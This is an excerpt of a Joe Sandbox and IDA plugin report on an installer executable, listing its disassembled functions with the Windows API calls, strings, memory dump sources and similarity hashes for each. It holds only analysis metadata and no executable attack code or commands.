CorExitProcess, xrefs: 00A215EB

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8b0cddaeef1ea7d29c915f4800575e3831f096d3a3e50198dafa693ee9b651ac
Instruction ID: 6b2b571c10d88f671cde116e134efb5cc64823dff02122842deea1dc078af4a9
Opcode Fuzzy Hash: 8b0cddaeef1ea7d29c915f4800575e3831f096d3a3e50198dafa693ee9b651ac
Instruction Fuzzy Hash: 7A01A279A44669FFCB118F94DC05BAEBBB8FB04B11F040636E811E26D0DB749900CA84

Function 00A1632A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00A162C7,00000064), ref: 00A1634D
LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,00A162C7,00000064,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF), ref: 00A16357
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00A162C7,00000064,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF), ref: 00A16368
EnterCriticalSection.KERNEL32(00B2FE4C,?,00A162C7,00000064,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A1636F

Strings

v, xrefs: 00A16357

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: v
API String ID: 3269011525-3261393531
Opcode ID: 85fff42eb4710c21a338b83525f05a6dc1cef885663bff7e859abd0f709aa0b8
Instruction ID: 31beaa45f17b0c233e95511b1032f38239e2c3dd2f797580b0bfa52cd22bfeae
Opcode Fuzzy Hash: 85fff42eb4710c21a338b83525f05a6dc1cef885663bff7e859abd0f709aa0b8
Instruction Fuzzy Hash: 33E06D36B40125ABCA133B90FC09AEE3E789B05751B110075B919D71728E6108528BD4

Function 008566F0 Relevance: 7.6, APIs: 5, Instructions: 139COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0085672E
DeleteObject.GDI32(00000000), ref: 00856754
GetClientRect.USER32(?,?), ref: 008567AF
DeleteObject.GDI32(?), ref: 0085681A
DeleteDC.GDI32(00000000), ref: 00856869

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Delete$ClientObjectRect
String ID:
API String ID: 1851782329-0
Opcode ID: 9af07c092f74bc7799518079f70d12f7492d982cc522bc6bd722aece9162d1f1
Instruction ID: 777d5d7264009be1b4ef07c12da6e36e4ab4df93a4a13a78809ae876d9e5a37f
Opcode Fuzzy Hash: 9af07c092f74bc7799518079f70d12f7492d982cc522bc6bd722aece9162d1f1
Instruction Fuzzy Hash: 30413A72104702AFD3219F64DD49F6BBBF9EB88711F504939FA56D31A0DB71E8098B21

Function 008569C0 Relevance: 7.6, APIs: 5, Instructions: 125windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00856A1E
GetDlgItem.USER32(?,?), ref: 00856A43
SendMessageW.USER32(?,?,?,?), ref: 00856B0D

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ItemMessageSendWindow
String ID:
API String ID: 799199299-0
Opcode ID: f4ee693fb21965cc935ec0c315458b5918a5714bf37617d55b13acc58a4f2844
Instruction ID: e66fccc5ad0c12670cc97293734b2f4f859af535301d1d8a6ea25fa507246872
Opcode Fuzzy Hash: f4ee693fb21965cc935ec0c315458b5918a5714bf37617d55b13acc58a4f2844
Instruction Fuzzy Hash: 3941D6323002169FC725CF68D894A76B7B5FB44353F88853AE845C7261E731E869DB60

Function 009599A0 Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009599D4
std::_Lockit::_Lockit.LIBCPMT ref: 009599F6
std::_Lockit::~_Lockit.LIBCPMT ref: 00959A1E
std::_Facet_Register.LIBCPMT ref: 00959B07
std::_Lockit::~_Lockit.LIBCPMT ref: 00959B31

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 20af32033fac508c7c1375bcc0472248f23139ab27aff8edc2254594a8e9f856
Instruction ID: 04b44b6ceacb6d330910a1c42ff3e5107d5eb8e1f3dc62da7044995f06d0aaf3
Opcode Fuzzy Hash: 20af32033fac508c7c1375bcc0472248f23139ab27aff8edc2254594a8e9f856
Instruction Fuzzy Hash: 6551CE71900245DFEF11CF98D985BAEBBB4FB00324F248159E815AB381EB75AA49CB91

Function 0086FB10 Relevance: 7.6, APIs: 5, Instructions: 109windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000,?,?), ref: 0086FB88
SendMessageW.USER32(?,00001012,00000000,?), ref: 0086FBD0
SendMessageW.USER32(?,0000102C,000000FF,0000F000), ref: 0086FBEC
SendMessageW.USER32(?,0000102B,000000FF,?), ref: 0086FC1E
SetFocus.USER32(00000000,?,?), ref: 0086FC31

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$Focus
String ID:
API String ID: 3982298024-0
Opcode ID: e6da2788a024053beb2270a2192854f0f195bef222a79ff689e23228c8387062
Instruction ID: fbc52b317df28fa54d9319253a44c04a599527b496c0e18634f8b8b84d746aaa
Opcode Fuzzy Hash: e6da2788a024053beb2270a2192854f0f195bef222a79ff689e23228c8387062
Instruction Fuzzy Hash: 5F415B75900709EFDB20DFA8CD85AAABBF4FF48710F104629E925977A1DB70A941CF50

Function 0095C870 Relevance: 7.6, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?), ref: 0095C889
LocalFree.KERNEL32(?), ref: 0095C899
GetLastError.KERNEL32 ref: 0095C8D7
LocalAlloc.KERNEL32(00000040,00000014), ref: 0095C916
GetLastError.KERNEL32 ref: 0095C930
LocalFree.KERNEL32(?), ref: 0095C941

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Local$Free$ErrorLast$Alloc
String ID:
API String ID: 3879364810-0
Opcode ID: b2d129c31e72d896ac12c4ab3cfda15b3326412644776ae2e5be784d3c45cb7f
Instruction ID: edcc4d93dc4b085082094f3846301fa111777a2fbdad7bdeaae2b49c0a3c28fb
Opcode Fuzzy Hash: b2d129c31e72d896ac12c4ab3cfda15b3326412644776ae2e5be784d3c45cb7f
Instruction Fuzzy Hash: BB3106B16007019FDB20DF7AD845B67B7E8FF44711F00493EEA46C2650EB74E8099BA1

Function 008509E0 Relevance: 7.6, APIs: 5, Instructions: 60memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00850A2A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00850A30
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,00000000,00000000,00000000), ref: 00850A53
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00A3FCB6,000000FF), ref: 00850A7B
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,00A3FCB6,000000FF), ref: 00850A81

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Heap$FreeProcess$FormatMessage
String ID:
API String ID: 1606019998-0
Opcode ID: cd2f104302b26f7f99d62fc5131575797958f32021316525ee5aac38d01bf49e
Instruction ID: 872372b74a2685f44b138c7ac8bd4e5f4ed901935d1e022be1aa48c15b36ef69
Opcode Fuzzy Hash: cd2f104302b26f7f99d62fc5131575797958f32021316525ee5aac38d01bf49e
Instruction Fuzzy Hash: 7F1130B1E44359ABEB10DFA4DD06FAFBBB8FB04B04F100519F910A72C1D7B59A048B95

Function 00868330 Relevance: 7.6, APIs: 5, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 0086833B
SendMessageW.USER32(?,?,?,0000102B), ref: 00868398
SendMessageW.USER32(?,?,?,0000102B), ref: 008683E7
SendMessageW.USER32(?,00001043,00000000,00000000), ref: 008683F8
SendMessageW.USER32(?,00001013,00000000,00000000), ref: 00868405

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: a320d8d153917dfa1c057eb2ad865a0c00f141d7eeefb2f60d3b862b2d527b67
Instruction ID: 9d039856403381c65c20fe2e4bbce305834ece23066e89ea4d5bdf392f976da8
Opcode Fuzzy Hash: a320d8d153917dfa1c057eb2ad865a0c00f141d7eeefb2f60d3b862b2d527b67
Instruction Fuzzy Hash: 99215131918346AAD220DF11CD44B1ABBF5FFED758F206B1EF1D4211A4EBF191848E86

Function 0084D3EE Relevance: 7.5, APIs: 5, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?), ref: 0084D3F1
GetExitCodeProcess.KERNEL32(?,?), ref: 0084D40E
GetLastError.KERNEL32 ref: 0084D418
GetLastError.KERNEL32 ref: 0084D42F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectProcessSingleWait
String ID:
API String ID: 590199018-0
Opcode ID: f9eed7e7523aa98b0e7b58d1230a7e6a07d8fa0482c9546c99d10508d1f79640
Instruction ID: fbbb32cd29f7f179a038ad12234dac9a033eaa88685307fccf46ba58d15f014b
Opcode Fuzzy Hash: f9eed7e7523aa98b0e7b58d1230a7e6a07d8fa0482c9546c99d10508d1f79640
Instruction Fuzzy Hash: 14014032A00609CFDB109FACDC04669BBB9FF44371B144766D825E32A1FB35AC628A94

Function 00874350 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 314windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,RichEdit20W,?,?,?,?,?,?,00000000,00000000,00000000), ref: 008744FC
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 00874511
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00874519

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Strings

RichEdit20W, xrefs: 008744F4

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$AllocateCreateHeapWindow
String ID: RichEdit20W
API String ID: 2359350451-4173859555
Opcode ID: 309f6e47b8e2adbcc570dc86fbddd27983e38097d0a083f8244b5aa222ea8d2f
Instruction ID: 3eec3df16096949ea32a98e2c4ec90834109893de2cf5e9457fb2cdf2ae74f84
Opcode Fuzzy Hash: 309f6e47b8e2adbcc570dc86fbddd27983e38097d0a083f8244b5aa222ea8d2f
Instruction Fuzzy Hash: A9B18C71A012099FDB15CFA8C994BEEBBF4FF48710F144269E819EB291DB71AD00CB64

Function 0086E930 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 226windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Part of subcall function 0093EE40: SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037,?,?,?,000000EF,?,00867908,00000000,80004005), ref: 0093EEA8
Part of subcall function 0093EE40: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0093EED8

SendMessageW.USER32(?,00001036,00000004,00000004), ref: 0086EAED
SendMessageW.USER32(?,00001036,00000400,00000400), ref: 0086EB04
SendMessageW.USER32(?,00001061,00000000,?), ref: 0086EB60

Strings

QuickSelectionList, xrefs: 0086EA22, 0086EA34, 0086EA3E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$AllocateHeapWindow
String ID: QuickSelectionList
API String ID: 3168177373-3633591268
Opcode ID: a4690c3a8fe4627ba3fe041a1955da233edf02189fef8d583178e795d5489328
Instruction ID: 0c5a7ca973e4504737239394bef55745d1a0f73130c48d3640b3c11ea69ebc2f
Opcode Fuzzy Hash: a4690c3a8fe4627ba3fe041a1955da233edf02189fef8d583178e795d5489328
Instruction Fuzzy Hash: D881BD75A00209AFDB14DF68C884BAAF7F5FF88314F104659E515AB290DB74AD04CFA1

Function 009A4A90 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 167synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,C7BA013E), ref: 009A4AC4

Part of subcall function 00949600: MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,00000000,00000000,00000000,00AAC2BE,?,00986984,00AAC2BE), ref: 00949618
Part of subcall function 00949600: MultiByteToWideChar.KERNEL32(00000003,00000000,00986984,000000FF,?,-00000001,?,00986984,00AAC2BE), ref: 0094964A

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Strings

.pack, xrefs: 009A4E01
.jar, xrefs: 009A4F4C
*.*, xrefs: 009A4B3A, 009A4B4C, 009A4B54

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapObjectSingleWait
String ID: *.*$.jar$.pack
API String ID: 2019434529-3892993289
Opcode ID: 2fe0e6b6364a4e2402cd435ade918d8482a37c63074fa621dc78a206075382ae
Instruction ID: 64a2eb1f0aa6afb7f230763ea0ec89557f2af53f5ffc4b61cc0f3c699011aa44
Opcode Fuzzy Hash: 2fe0e6b6364a4e2402cd435ade918d8482a37c63074fa621dc78a206075382ae
Instruction Fuzzy Hash: 19518170A0161A9FDB10DFA9C848BAEB7B8FF45324F104269E425EB291DB74D900CBE1

Function 00850DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException), ref: 00850DF2
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00850DF8

Strings

combase.dll, xrefs: 00850DED
RoOriginateLanguageException, xrefs: 00850DE8

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoOriginateLanguageException$combase.dll
API String ID: 2574300362-3996158991
Opcode ID: 7d82d2e204f06bc42400d9e9955639f6a99659f3c73af798c6cecfe103721c13
Instruction ID: ea127499c357e99d54808186579bc704e8a717d5e3440b935e7525bf691bdcb3
Opcode Fuzzy Hash: 7d82d2e204f06bc42400d9e9955639f6a99659f3c73af798c6cecfe103721c13
Instruction Fuzzy Hash: 3C314F71900209DFDB20DFA8C956BEEBBF4FB04714F200A29E814E72D1EB745A48CB91

Function 00859560 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B3683C), ref: 0085959C
GetCurrentThreadId.KERNEL32 ref: 008595B0
LeaveCriticalSection.KERNEL32(00B3683C), ref: 008595EF

Strings

v, xrefs: 008595EF

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: a5bb216c033857f5d68f7a98a8b6b3e3722964f1a52f908ce87df0a986e27262
Instruction ID: e93cb544a6308a3f554934d976537e29736748e698067f8dd8aa0f0e43c6261a
Opcode Fuzzy Hash: a5bb216c033857f5d68f7a98a8b6b3e3722964f1a52f908ce87df0a986e27262
Instruction Fuzzy Hash: 1E11E235A04204EFCB21CF69C804B1ABBE8FB48715F2482AED856D7390EB729809C790

Function 00A1AB3C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00A1AAED,?,?,00000000,?,?,?,00A1AC17,00000002,FlsGetValue,00AA0F08,FlsGetValue), ref: 00A1AB49
GetLastError.KERNEL32(?,00A1AAED,?,?,00000000,?,?,?,00A1AC17,00000002,FlsGetValue,00AA0F08,FlsGetValue,?,?,00A17A34), ref: 00A1AB53
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00A1AB7B

Strings

api-ms-, xrefs: 00A1AB60

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

